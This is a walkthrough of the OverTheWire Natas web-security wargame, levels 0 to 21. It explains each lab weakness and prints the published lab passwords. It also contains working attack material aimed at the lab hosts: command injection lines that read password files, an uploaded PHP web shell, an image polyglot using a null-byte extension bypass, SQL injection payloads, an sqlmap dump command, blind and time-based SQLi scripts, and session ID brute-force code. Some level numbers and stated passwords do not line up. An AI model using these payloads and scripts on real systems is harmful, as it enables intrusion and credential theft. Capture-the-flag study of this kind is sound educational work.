Natas Walkthrough | OverTheWire
(Web-Security)

It's a journey from 0 to 1
Introduction
What is Natas?
Natas teaches the fundamentals of server-side web security. Each level in Natas is hosted on a unique website, accessible at http://natasX.natas.labs.overthewire.org (where X is the level number). There is no SSH login involved. To access a level, simply use the corresponding username (e.g., natas0 for level 0) along with its password.
Your objective is to retrieve the password for the next level, which is hidden somewhere on the current level’s site. All passwords are also stored in the /etc/natas_webpass/ directory, with access restricted based on the level. For instance, the password for Natas5 is stored in /etc/natas_webpass/natas5 and can only be read by Natas4 and Natas5.
Please note that the passwords change automatically at regular intervals, so I encourage you to solve the challenges yourself and not rely on any passwords I might mention. Enjoy the process, and happy hacking!
Natas Level 0: View Source Code / HTML Inspection
Username:
natas0
Password:natas0
URL: http://natas0.natas.labs.overthewire.org
After logging in with the credits above we found,
You can find the password for the next level on this page. This may indicate that the password is in the page source.

We can verify this by right click then view page source or ctrl + u shortcut

And here is the password for the level 1
0nzCigAq7t2iALyvU9xcHlYN4MlkIwlqNatas Level 0 → Level 1: Client-Side Disabled Right-Click / Browser Developer Tools
Username:
natas1
Password:0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq
URL:http://natas1.natas.labs.overthewire.org
After logging in with the credits above, we found You can find the password for the next level on this page, but rightclicking has been blocked!

But if we right-click outside the div, we will notice that it works normally and now we can extract the password from the page source.

The second way is that we can use inspector in developer mode

We can also view the source code using curl or wget:
curl -u natas1:0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq http://natas1.natas.labs.overthewire.org

And here is the password for the level 2
TguMNxKo1DSa1tujBLuZJnDUlCcUAPlINatas Level 1 → Level 2: Directory Traversal / Information Disclosure
Username:
natas2
Password:TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI
URL: http://natas2.natas.labs.overthewire.org
After logging in with the credits above, we found There is nothing on this page

Let's look at the page source, As we expected, there is a pixel.png file under a directory named /files/

Now we can simply browse that directory directly by putting /files after the original URL

We will notice that there is pixel.txt that we saw in the source page and Users.txt let's open it:

And here is the password for the level 3
3gqisGdR0pjm6tpkDKdIWO2hSvchLeYHNatas Level 2 → Level 3: Hidden Directories / Robots.txt
Username:
natas3
Password:3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH
After logging in with the credits above, we found There is nothing on this page again.

As we always do, we will look at the page source, We will see that there is a comment saying No more information leaks!! Not even Google will find it this time...

This might give us a hint if he meant Google crawlers! let's look at the robots.txt file

Indeed, we found a path called /s3cr3t/ let's browse it:

And again we found a users.txt file let's extract the password from it:

And here is the password for the level 4
QryZXc2e0zahULdHrtHxzyYkj59kUxLQNatas Level 3 → Level 4: HTTP Referer Header Manipulation
Username:
natas4
Password:0n35PkggAPm2zbEpOU802c0x0Msn1ToK
URL: http://natas4.natas.labs.overthewire.org
After logging in with the credits above, we found:

let's click the Refresh page Button

What is happening now is that the site displays the Referer header between those double quotes.
Therefore, when we opened the site for the first time, the referrer header was empty, and when we refreshed the page, the referrer header became the current site we are on now.
So all we need now to modify this header to http://natas5.natas.labs.overthewire.org/
Now is the time to use BurpSuit:
Step1: Turn on your intercept proxy
Step2: Refresh the page so that Burpsuit able to intercept the request
Step3: Set the referer header to
http://natas5.natas.labs.overthewire.org/Step4: Forward the request so that Burp can send the modified request to the server

The request after editing the referer header:

Finally the page after forwarding the request:

And here is the password for the level 5
0n35PkggAPm2zbEpOU802c0x0Msn1ToKNatas Level 4 → Level 5: Cookie Manipulation / Session Management
Username:
natas5
Password:0n35PkggAPm2zbEpOU802c0x0Msn1ToK
URL: http://natas5.natas.labs.overthewire.org
After logging in with the credits above, we found:

Let's look at the page source but nothing looks interesting

let's look at the request itself:

we found a header called cookie with value loggedin=0
let's change it to 1 and forward the request:
Or directly from the browser change the value from 0 to 1 then refresh:


And here is the password for the level 6
0RoJwHdSKWFTYR5WuiAewauSuNaBXnedNatas Level 5 → Level 6: Client-Side vs Server-Side Code Review
Username:
natas6
Password:0RoJwHdSKWFTYR5WuiAewauSuNaBXned
URL: http://natas6.natas.labs.overthewire.org
After logging in with the credits above, we found:
an input field and submit query button that sends what is written in it and finally the view source code button

What matters to us on the View source code page:

This PHP code includes a secret from a file called secret.inc and checks if a form has been submitted via POST. If the form has been submitted, it compares the value of the "secret" input field with the value of the $secret variable obtained from the included file. If they match, it prints "Access granted" with a message indicating the password for "natas7". Otherwise, it prints "Wrong secret".
But all of this is not important because the path to the password is disclosed in the included function includes/secret.inc so simply we can go to this path directly:

white blank page, but always check the page source for any comments:

And voila here is the secret, let's submit it in the form to get the natas7 password:

And here is the password for the level 7
bmg8SvU1LizuWjx3y7xkNERkHxGre0GSNatas Level 6 → Level 7: Local File Inclusion (LFI)
Username:
natas7
Password:bmg8SvU1LizuWjx3y7xkNERkHxGre0GS
URL: http://natas7.natas.labs.overthewire.org
After logging in with the credits above, we found the /Home and /About pages

if we click on it we notice that ?page parameter changed by changing pages


if we opened the page source we found a hint that told us password for webuser natas8 is in /etc/natas_webpass/natas8

This is a strong indicator of a Local File Inclusion vulnerability, we can check by manipulating the page? parameter by adding a filename that does not exist:

This error indicates that the PHP script at /var/www/natas/natas7/index.php is attempting to include a file named "test" using the include() function, but it cannot find the file in the specified location.
Now we can simply set the path of page? parameter to /etc/natas_webpass/natas8

And here is the password for the level 8
xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5QNatas Level 7 → Level 8: Multiple Encoding Operations (Base64, String Reverse, Hex)
Username:
natas8
Password:xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q
URL: http://natas8.natas.labs.overthewire.org
After logging in with the credits above, like natas6 we found an input field and submit query button that sends what is written in it, and finally the view source code button

Nothing is interesting in the page source so let's view the source code:

To find out the secret, let's reverse-engineer the encodeSecret function and apply it to the encoded secret provided:
base64_encode: This function encodes the given data with base64.strrev: This function reverses a string.bin2hex: This function converts binary data into hexadecimal representation.
So, to decode the secret, we need to reverse these steps. with this simple PHP code:
<?php
echo base64_decode(strrev(hex2bin('3d3d516343746d4d6d6c315669563362')));
?>
// Resutlt: oubWYf2kBq

And here is the password for the level 9
ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6tNatas Level 8 → Level 9: Command Injection with grep
Username:
natas9
Password:ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6t
URL: http://natas9.natas.labs.overthewire.org
After logging in with the credits above, let's view the source code:

This PHP code takes a parameter called "needle" from the request (GET or POST). If the "needle" parameter is provided, it uses the passthru function to execute the grep command on a file named dictionary.txt the passthru function is similar to the exec() function that allows you to run shell commands or other executable files from within a PHP script. , searching for the value of the "needle" parameter in a case-insensitive manner. Essentially, it's searching for the occurrence of a word or pattern specified by the user ($_REQUEST["needle"]) in the dictionary.txt file. However, this code is vulnerable to command injection attacks since it directly passes user input to the shell without proper sanitization or validation.

So simply we can use semicolons ; to end the statement and start new command like this secret; cat /etc/natas_webpass/natas10 to extract the natas10 password:

And here is the password for the level 11
t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOuNatas Level 9 → Level 10: Command Injection with Filtered Characters
Username:
natas10
Password:t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu
URL: http://natas10.natas.labs.overthewire.org
After logging in with the credits above, We found: For security reasons, we now filter on certain characters.

Let's View the source code:

The main difference between the last level code and this is the addition of input validation in the above code snippet. Specifically, the above code snippet includes a regular expression check (preg_match) to ensure that the "needle" parameter does not contain certain characters (;, |, &) that could be used for command injection attacks. If the input contains any of these characters, it prints "Input contains an illegal character!" and does not execute the grep command. This helps to mitigate the risk of command injection vulnerabilities compared to the last level code snippet, which directly passes user input to the shell without any validation or sanitization.
But, the logic of this code is still broken because the syntax of the grep command
here is the syntax:
grep [options] pattern file1 file2 ...
So, if we submit '.*' /etc/natas_webpass/natas11 it will look like that in the code:
grep -i '.*' /etc/natas_webpass/natas11 dictionary.txt
grep: Command-line utility for searching text patterns.-i: Option to perform a case-insensitive search.'.*': Regular expression pattern to match any sequence of characters/etc/natas_webpass/natas11: File path to search for the pattern.dictionary.txt: Additional file path to search for the pattern.

And here is the password for the level 11
UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEkNatas Level 10 → Level 11: XOR Encryption / Cookie Manipulation
Username:
natas11
Password:UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk
URL: http://natas11.natas.labs.overthewire.org
After logging in with the credits above, Cookies are protected with XOR encryption

And if we enter #0A66B4 hex color code:

So let's take a look at the source code,

As we can see, it's a pretty bulky code. But this won't make much difference.
Let's trace before we break it:
The code defines a default array
$defaultdatawith two keys:"showpassword"set to"no"and"bgcolor"set to"#ffffff".It contains a function
xor_encrypt()that performs XOR encryption on the input text using a predefined key. This function is used to encrypt and decrypt data.There are two more functions:
loadData()andsaveData().loadData()retrieves data from the cookie, decrypts it, and updates the$mydataarray.saveData()encrypts the data and sets it in the cookie.The script loads data from the cookie, updates the background color if requested, and saves the data back to the cookie.
If the
"showpassword"key in the data array is set to"yes", it prints the password for the next level, which is censored in the code.Finally, it displays a form to set the background color and provides a link to view the source code.
So what we need to do now is reverse what this function does in the cookie saved in the browser then change the showpassword value to yes to generate a valid cookie by the key we will extract then encode it again to base64 and use this new generated cookie
Step1: get the cookie from developer tools in the browser
HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GdBZZUwZjTRg%3D
The %3d is equal '=' but in url encoded form so we will convert it back:
HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GdBZZUwZjTRg=
we need to get the key to Xor decrypt this cookie, to clarify:
To encrypt: ciphertext = plaintext ^ key
To decrypt: plaintext = ciphertext ^ key
But if you have plaintext and ciphertext, you can find the key by:
key = plaintext ^ ciphertext

<?php $ciphertext = json_encode(array("showpassword" => "no", "bgcolor" => "#0A66B4")); $plaintext = base64_decode("HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GdBZZUwZjTRg="); $key = ""; for($i = 0; $i < strlen($plaintext); $i++) { $key .= $ciphertext[$i] ^ $plaintext[$i]; } echo $key; ?>Now we have the key
eDWo(repeated) if we need to check if this is the correct key or not we can try decrypting the encrypted cookie we have with this key
Finally, we have the key that is used to generate the cookie we can use it to generate a cookie with the showpassword=yes value

So the generated showpassword=yes cookie value =
HmYkBwozJw4WNyAAFyB1VUc9MhxHaHUNAic4Awo2dVVHZ2cuU3IVW0c5The last step is to replace the current cookie with this one

And here is the password for the level 12
yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeBNatas Level 11 → Level 12: File Upload Vulnerability (No Extension Validation)
Username:
natas12
Password:yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB
URL: http://natas12.natas.labs.overthewire.org
After logging in with the credits above, we found a text on the page that says choose a JPEG file to upload.

The first thing that came to my mind was that there is a file upload vulnerability but let's view the source code:

This PHP code performs the following steps:
Defines a function
genRandomString()to generate a random string of alphanumeric characters of length 10.Defines a function
makeRandomPath($dir, $ext)to create a random path in a specified directory with a given extension, ensuring that the path does not already exist.Defines a function
makeRandomPathFromFilename($dir, $fn)to generate a random path based on the filename provided, extracting the file extension usingpathinfo().Check if the key "filename" exists in the
$_POSTarray.If the "filename" key exists: a. Generates a random path for the uploaded file using
makeRandomPathFromFilename(). b. Check if the uploaded file size exceeds 1000 bytes. If so, it echoes "File is too big". c. If the file size is within the limit, attempt to move the uploaded file to the generated random path usingmove_uploaded_file(). d. Displays a success message with a link to the uploaded file if the file is successfully moved, or an error message if there is a failure.If the "filename" key does not exist, the script ends.
What concerns us is that it doesn't validate the file extension and there are no defenses such as adding any extension at the end of the file, so let's verify the request using burp:

Since there is no validation on the Content-Type Header as well, we can upload a PHP file that retrieves the password from /etc/natas_webpass/natas14.
Step1: upload a file that contains
shell_execfunction that runs shell commands:<?php echo shell_exec('cat /etc/natas_webpass/natas13'); ?>Step2: In burp intercept the request and edit the filename extension to
.PHPStep3: Send the request and check the response body that says "The file upload/{random_string}.php has been uploaded"

Step4: Navigate to this path and retrieve the password

And here is the password for the level 13
trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LCNatas Level 13 → Level 14: File Upload with MIME Type Bypass
Username:
natas13
Password:trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC
URL: http://natas13.natas.labs.overthewire.org
After logging in with the credits above, Same as the last level it's a file upload but there is an additional message that says "For security reasons, we now only accept image files!"

let's check out the source code:

The main differences between this code and the last level code are in the additional validations and error handling added in the second code:
Error Handling: The second code includes additional error handling for the uploaded file. It checks the
$_FILES['uploadedfile']['error']code to identify specific errors such as exceeding theMAX_FILE_SIZElimit ($err === 2).File Type Validation: It also validates whether the uploaded file is an image using
exif_imagetype(). This function checks the file headers to determine if the file is an image. If it's not an image, it echoes "File is not an image".
So, we can bypass this by injecting our payload in an image with ExifTool:
Step1: choose a less than 1 kb file you can download from
http://natas2.natas.labs.overthewire.org/files/“Or simply manipulate the file size from the request after intercept“
Step2: Use ExifTool to Inject our payload like this:
exiftool -Comment="<?php echo 'START ' . shell_exec('cat /etc/natas_webpass/natas14'); . ' END'; ?>" less_than_1kb.jpg -o shell.phpwe print the password between 'START' and 'END' to make it easier to find the password among the image bytes
Step3: In burp, upload the file exploit.php file (the injected image) after that, intercept the request then focus on the next steps:
modify the filename and add the
null bytecharacter then add the .jpg extension to bypass the extension validation
Step4: Send the request then Navigate to the path that our payload was uploaded

And voila we get the password successfully

And here is the password for the level 14
z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQNatas Level 14 → Level 15: Basic SQL Injection
Username:
natas14
Password:z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQ
URL: http://natas14.natas.labs.overthewire.org/
After logging in with the credits above, we found a login page that takes a username and password first thing that comes in my mind is this login vulnerable to SQLi but let's check the source code before breaking this level..

The code constructs the SQL query by directly concatenating user input ($_REQUEST["username"] and $_REQUEST["password"]) into the query string without proper sanitization or parameterization. So As we expected it's a SQL Injection

So let's break the syntax by adding a double quote `"`, SQL error that we need to see..

Let's go back to login and enter this simple payload "OR 1=1 -- since this is boolean-based SQLi, The payload exploits the SQL query by making it always true, effectively bypassing the password check. The OR 1=1 part ensures the condition is always true, granting access without the correct password. The double hyphen -- comments out the rest of the query to prevent syntax errors.

And voila, we are in...

And here is the password for the level 15
SdqIqBsFcz3yotlNYErZSZwblkm0lrvxNatas Level 15 → Level 16: Blind SQL Injection (Boolean-based)
Username:
natas15
Password:SdqIqBsFcz3yotlNYErZSZwblkm0lrvx
URL: http://natas15.natas.labs.overthewire.org/
After logging in with the credits above, This time there was a search box used to search the database instead of the log-in page.

-let's try to search for natas16:

What about double quotes?:

Good indicator let's read the source code:

The first thing we should notice is there is a comment about creating a table called users and has two columns username and password, with a maximum of 64 characters. and the input isn’t being sanitized before the value is placed in the SQL query to the database.
After reading the source code this will not be easy because it's a blind sql injection. After all, the query doesn't give us the result back.
So all we need now is to guess the 32-character password using brute force because it will take a lot of time if we do it manually, in this case, we will use SQLmap:
sqlmap -u "http://natas15.natas.labs.overthewire.org/index.php?debug" --string="This user exists" --auth-type=Basic --auth-cred=natas15:SdqIqBsFcz3yotlNYErZSZwblkm0lrvx --data "username=natas16" --level=5 --risk=3 -D natas15 -T users -C username,password --dump
Let me break down each part:
sqlmap: This is the command to invoke SQLMap.-u "http://natas15.natas.labs.overthewire.org/index.php?debug": This flag specifies the target URL to test for SQL injection vulnerabilities. In this case, the URL is the login page of a website called "natas15" hosted on the OverTheWire labs.--string="This user exists": This flag tells SQLMap to use the specified string to identify true responses from the server. In other words, it helps SQLMap to determine whether its injection attempts were successful by looking for this specific text in the server's responses.--auth-type=Basic: This flag specifies the authentication type used for the target URL. In this case, it's HTTP Basic authentication.--auth-cred=natas15:TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB: This flag provides the credentials for HTTP Basic authentication. The username is "natas15", and the password is "TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB".--data "username=natas16": This flag specifies the POST data to be sent to the target URL. It's injecting into the "username" field with the value "natas16".--level=5: This flag sets the level of tests to be performed. A higher level means more comprehensive tests, which can potentially take longer but may find more vulnerabilities.--risk=3: This flag sets the risk of tests to be performed. A higher risk means more aggressive tests, which may have a greater chance of causing adverse effects on the target system but may also find more vulnerabilities.-D natas15: This flag specifies the name of the database to enumerate. In this case, it's "natas15".-T users: This flag specifies the name of the table to enumerate. In this case, it's "users".-C username,password: This flag specifies the columns to enumerate within the specified table. In this case, it's "username" and "password".--dump: This flag instructs SQLMap to dump the contents of the specified database, table, and columns if any injection vulnerabilities are found.
After SQLmap has finished, The password will be TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V.

And here is the password for the level 16
hPkjKYviLQctEW33QmuXL6eDVfMW4sGoNatas Level 16 → Level 17: Grep Command Injection with Advanced Filtering
Username:
natas16
Password:hPkjKYviLQctEW33QmuXL6eDVfMW4sGo
URL: http://natas16.natas.labs.overthewire.org
After logging in with the credits above, We found a search box like levels 9 and 10 but now it filters the input

Let's read the source code:

this code snippet allows users to search for a keyword in the dictionary.txt file, but it's vulnerable to command injection attacks due to the use of passthru() with preg_match() function that filters these characters ( ; | & ` \ ‘ “ ) and displays Input contains an illegal character! message.
If
$keydoesn't contain any illegal characters, the script proceeds to execute the command.passthru("grep -i \"$key\" dictionary.txt");is a PHP function that runs a system command, in this case,grep.The
grep -i "$key" dictionary.txtcommand searches for the case-insensitive occurrence of$keyin the filedictionary.txt.The results are then printed directly to the page.
The first thing that should come to our mind is what are the allowed characters?
that’s right it’s Command substitution $(…) if i input $(echo allah) this is how it will look like:
passthru("grep -i \"$(echo allah)" dictionary.txt");
## grep -i allah dictionary.txt
## it's same as i input allah directly.

So what if i use Command substitution to check if a password contains specific characters?
This can be done by using $(grep a /etc/natas_webpass/natas17)allah
this form use OR operation to check if the file natas17 contains a letter or not
if yes input nothing if not print Allah:

what about if the password contains b?:

There is no output, so this means the password contains the letter b
Basic Idea:
Interrogate the server by asking: "Does the password contain this character?"
Use
grepto check if a particular character exists in/etc/natas_webpass/natas17.If it does, the page output will not contain the injected string
Allah.If it does not, the string
Allahwill be displayed, indicating that the character is not present in the password.
Here is the Python code to automate this command injection:
import requests
from requests.auth import HTTPBasicAuth
# Authentication details for Natas 16
auth = HTTPBasicAuth('natas16', 'hPkjKYviLQctEW33QmuXL6eDVfMW4sGo')
# Set of all potential characters to check
allchars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
filteredchars = ''
passwd = ''
# Step 1: Find the allowed characters in the password
for char in allchars:
# Construct the payload that injects a grep command checking for 'char' in the password file
payload = f'Allah$(grep {char} /etc/natas_webpass/natas17)'
r = requests.get(f'http://natas16.natas.labs.overthewire.org/?needle={payload}&submit=Search', auth=auth)
# If 'Allah' is not in the response, the character is part of the password
if 'Allah' not in r.text:
filteredchars += char
print(f"Filtered chars: {filteredchars}")
# Step 2: Use the filtered characters to brute force the password one character at a time
for i in range(32): # Natas passwords are 32 characters long
for char in filteredchars:
# Construct the payload to match the current progress of the password
payload = f'Allah$(grep ^{passwd}{char} /etc/natas_webpass/natas17)'
r = requests.get(f'http://natas16.natas.labs.overthewire.org/?needle={payload}&submit=Search', auth=auth)
# If 'Allah' is not in the response, the current character is correct
if 'Allah' not in r.text:
passwd += char
print(f"Password so far: {passwd}")
break # Move to the next character
Output:

And here is the password for the level 17
EqjHJbo7LFNb8vwhHb9s75hokh5TF0OCNatas Level 17 → Level 18: Time-based Blind SQL Injection
Username:
natas17
Password:EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC
URL: http://natas17.natas.labs.overthewire.org
After logging in with the credits above, we found a search function that checks the existence of a username

Source Code:

we find that the code snippet in the page uses SQL to query the users table, which stores usernames and passwords. However, there is no output from the query, regardless of the input provided. This challenge requires leveraging SQL injection without relying on direct output or error messages.
Here’s the relevant part of the code:
$query = "SELECT * from users where username=\"".$_REQUEST['username']."\"";
This query looks for the username in the database, but there’s no visual confirmation of the query results. Given this limitation, we can exploit it using SQL time-based injection with SLEEP() to determine if certain conditions are true based on the elapsed time for the server's response.
We can ask yes/no questions about the password for the user natas18 and use the delay from SLEEP() to infer if certain characters are in the password.
Step 1: Testing for SQL Injection with Sleep
We start by checking if the SLEEP() function works in the query:natas18" and sleep(10) #
This query will return slower if the condition is executed successfully. We measure the delay to confirm if the SQL injection works:
If the page takes ~10 seconds: The injection is working, and the username
natas18exists.If the response is instant: The username doesn’t exist, or the injection failed.
I used burpsuit to easily determine how does it takes to retrieve the response:
First the normal response without sleep payload injection:

The response with sleep(10) seconds:

Step 2: Extracting Password Characters
Next, we craft a query to check if certain characters are in the password using like binary:
natas18" and password like binary '%a%' and sleep(5) #
If the query takes ~5 seconds, it means the password contains the letter a. If the response is instant, it means the password does not contain a.
Using this method, we can automate the process with a Python script to filter the characters in the password:
import requests
from requests.auth import HTTPBasicAuth
Auth=HTTPBasicAuth('natas17', 'EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC')
headers = {'content-type': 'application/x-www-form-urlencoded'}
filteredchars = ''
passwd = ''
allchars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
for char in allchars:
payload = 'username=natas18%22+and+password+like+binary+%27%25{0}%25%27+and+sleep%281%29+%23'.format(char)
r = requests.post('http://natas17.natas.labs.overthewire.org/index.php', auth=Auth, data=payload, headers=headers)
if(r.elapsed.seconds >= 1):
filteredchars = filteredchars + char
print(filteredchars)
print(filteredchars)
for i in range(0,32):
for char in filteredchars:
payload = 'username=natas18%22%20and%20password%20like%20binary%20\'{0}%25\'%20and%20sleep(1)%23'.format(passwd + char)
r = requests.post('http://natas17.natas.labs.overthewire.org/index.php', auth=Auth, data=payload, headers=headers)
if(r.elapsed.seconds >= 1):
passwd = passwd + char
print(passwd)
break
By running this script, we gradually reconstruct the password for natas18 through SQL time-based injections.
Final Output:

And here is the password for the level 18
EqjHJbo7LFNb8vwhHb9s75hokh5TF0OCNatas Level 18 → Level 19: Session Hijacking with session ID Brute Force
Username:
natas18
Password:6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ
URL: http://natas18.natas.labs.overthewire.org
After logging in with the credits above, we found a login form that needed a username and password:

And it doesn't care if fields are empty or not so we can click the Login button directly

The source code:

Objective: Log in as the admin to retrieve the credentials for Natas 19.
1. Code Analysis:
The PHP code checks for a session ID (
PHPSESSID) and starts a session. However, theisValidAdminLogin()function, which would allow login as "admin", is disabled.Sessions are identified by numeric IDs between 1 and 640 (
$maxidis set to 640).If a session is valid, the script checks the
$_SESSION["admin"]flag. If it's set to1, you are treated as an admin.
Key Insight: The admin session might already exist, and if we can brute-force session IDs, we can potentially hijack it.
2. Brute-force Approach:
Since session IDs are within a limited range (1 to 640), we can brute-force these session IDs to find an existing admin session.
We can use burp intruder to perform the brute force and guess the admin session ID, but this script may be faster than the burp suit community intruder
import requests
from requests.auth import HTTPBasicAuth
url = 'http://natas18.natas.labs.overthewire.org/'
auth=HTTPBasicAuth('natas18', '6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ')
# Try all possible session IDs
for session_id in range(1, 641):
# Set the PHPSESSID cookie
cookies = {'PHPSESSID': str(session_id)}
# Make the request
response = requests.get(url, auth=auth, cookies=cookies)
# Check if the response contains the admin credentials
if "You are an admin" in response.text:
print(f"Admin session found! Session ID: {session_id}")
print(response.text)
break
else:
print("No admin session found.")
Output:

And of course, it’s the same result if we decide to use burp intruder:

And here is the password for the level 19
tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJrNatas Level 19 → Level 20: Session ID Analysis & Brute Force
Username:
natas19
Password:tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr
URL: http://natas19.natas.labs.overthewire.org
After logging into Natas19, we found a username-and-password login form with the message: “This page uses mostly the same code as the previous level, but session IDs are no longer sequential…”

So let’s try to log in with admin:admin to see what changes happened to the session ID’s:

As we can see, the session ID is ASCII-Hex encoded we can notice that by sending it to the decoder:

The goal of this level is to brute-force session IDs similarly to the approach used in Natas18 but with a twist: the session ID is encoded in ASCII-Hex. Therefore, the brute-force attack must try combinations of session IDs with the format x-admin, where x is a number between 1 and 640 (the range of possible session numbers), encoded in ASCII-Hex.
So we can use the burpsuit as we did before but we will add a suffix to the number in the PHPSESSID and then encode it to ASCII-Hex in payload processing:

After starting the attack we noticed that this PHPSESSID value logged us as admin

If we decode this value in the decoder it shows the admin session is at 281-admin

We can do the same faster with this Python script:
import requests
from requests.auth import HTTPBasicAuth
url = 'http://natas19.natas.labs.overthewire.org/'
auth = HTTPBasicAuth('natas19', 'tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr')
# Loop through possible session IDs
for session_id in range(1, 641):
# Convert the session_id to hexadecimal
numberAsHex = "".join("{:02x}".format(ord(c)) for c in str(session_id))
adminPortion = "2d61646d696e" # "-admin" portion in hex
# Full session ID
sessionID = numberAsHex + adminPortion
print(f"Session {session_id}-admin : {sessionID}")
cookies = {'PHPSESSID': sessionID}
# Make the request with the session ID as a cookie
response = requests.get(url, auth=auth, cookies=cookies)
# Check if we are logged in as admin
if "You are an admin" in response.text:
print(
f"Admin session found! Session ID: {session_id}, PHPSESSID: {sessionID}")
print(response.text)
break
else:
print("No admin session found.")
Explanation:
The script iterates through all possible session IDs from 1 to 640.
Each session ID is converted to ASCII-Hex format and the
-adminsuffix (in hex) is appended.The script then sends a request with the generated session ID (
PHPSESSID) and checks if it grants admin access by looking for the phrase "You are an admin" in the response.Once the correct session is found, it outputs the session ID and the response, revealing the credentials for the next level.


And here is the password for the level 20
p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVywNatas Level 20 → Level 21: Custom Session Management Exploitation / Session File Manipulation
Username:
natas20
Password:p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw
URL: http://natas20.natas.labs.overthewire.org
After login with upon credentials, there is only a function that sets and changes the name at the text box as follows:

this time, sessions are handled manually using a custom my* functions (like myopen, mywrite, etc.). The session management is done in files instead of using PHP’s default method.
Source Code:
<?php
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}/* }}} */function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas21\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
}
}/* }}} */
/* we don't need this */function myopen($path, $name) {
//debug("MYOPEN $path $name");
return true;
}
/* we don't need this */function myclose() {
//debug("MYCLOSE");
return true;
}
function myread($sid) {
debug("MYREAD $sid");
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return "";
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
if(!file_exists($filename)) {
debug("Session file doesn't exist");
return "";
}
debug("Reading from ". $filename);
$data = file_get_contents($filename);
$_SESSION = array();
foreach(explode("\n", $data) as $line) {
debug("Read [$line]");
$parts = explode(" ", $line, 2);
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}
return session_encode() ?: "";
}
function mywrite($sid, $data) {
// $data contains the serialized version of $_SESSION
// but our encoding is better
debug("MYWRITE $sid $data");
// make sure the sid is alnum only!!
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return;
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
$data = "";
debug("Saving in ". $filename);
ksort($_SESSION);
foreach($_SESSION as $key => $value) {
debug("$key => $value");
$data .= "$key $value\n";
}
file_put_contents($filename, $data);
chmod($filename, 0600);
return true;
}
/* we don't need this */function mydestroy($sid) {
//debug("MYDESTROY $sid");
return true;
}/* we don't need this */function mygarbage($t) {
//debug("MYGARBAGE $t");
return true;
}
session_set_save_handler(
"myopen",
"myclose",
"myread",
"mywrite",
"mydestroy",
"mygarbage");session_start();
if(array_key_exists("name", $_REQUEST)) {
$_SESSION["name"] = $_REQUEST["name"];
debug("Name set to " . $_REQUEST["name"]);
}
print_credentials();
$name = "";
if(array_key_exists("name", $_SESSION)) {
$name = $_SESSION["name"];
}
?>
Here’s how the session data is being handled:
mywrite()takes the session variables (key-value pairs) from$_SESSION, writes them into a file with each key-value pair separated by a space on a new line.
foreach($_SESSION as $key => $value) {
$data .= "$key $value\n";
}

myread()reads these files, splits each line by the space, and then re-populates the$_SESSIONarray.
foreach(explode("\n", $data) as $line) {
$parts = explode(" ", $line, 2);
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}
The goal is to make the function print_credentials() show the admin credentials. This happens if the session variable $_SESSION["admin"] is set to 1, like so:
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are...";
}
Our Objective: We need to set the admin session variable to 1.
However, the page only stores the name variable from the request in the session:
$_SESSION["name"] = $_REQUEST["name"];
This means we can’t directly send admin=1 in the POST request. But there’s a flaw in the way sessions are written in mywrite(). If we manipulate the name parameter to include a newline (\n), we can trick the system into writing a second line with admin 1.
By sending a request with the name set to something like: admin%0Aadmin 1, it will store admin 1 as a separate session variable, effectively giving us admin rights.
Let’s try it using Burp Repeater to avoid URL encoding issues.
In Burp Repeater, send a POST request to the server with the following payload:
name=admin%0Aadmin 1
This should create a session where
$_SESSION["admin"] = 1.Reload the page, and you’ll see the message: “You are an admin. The credentials for the next level are…” along with the password for Natas21.

And here is the password for the level 21
BPhv63cKE1lkQl04cE5CuFTzXe15NfiHNatas Level 21 → Level 22: Cross-Site Session Manipulation
Username:
natas21
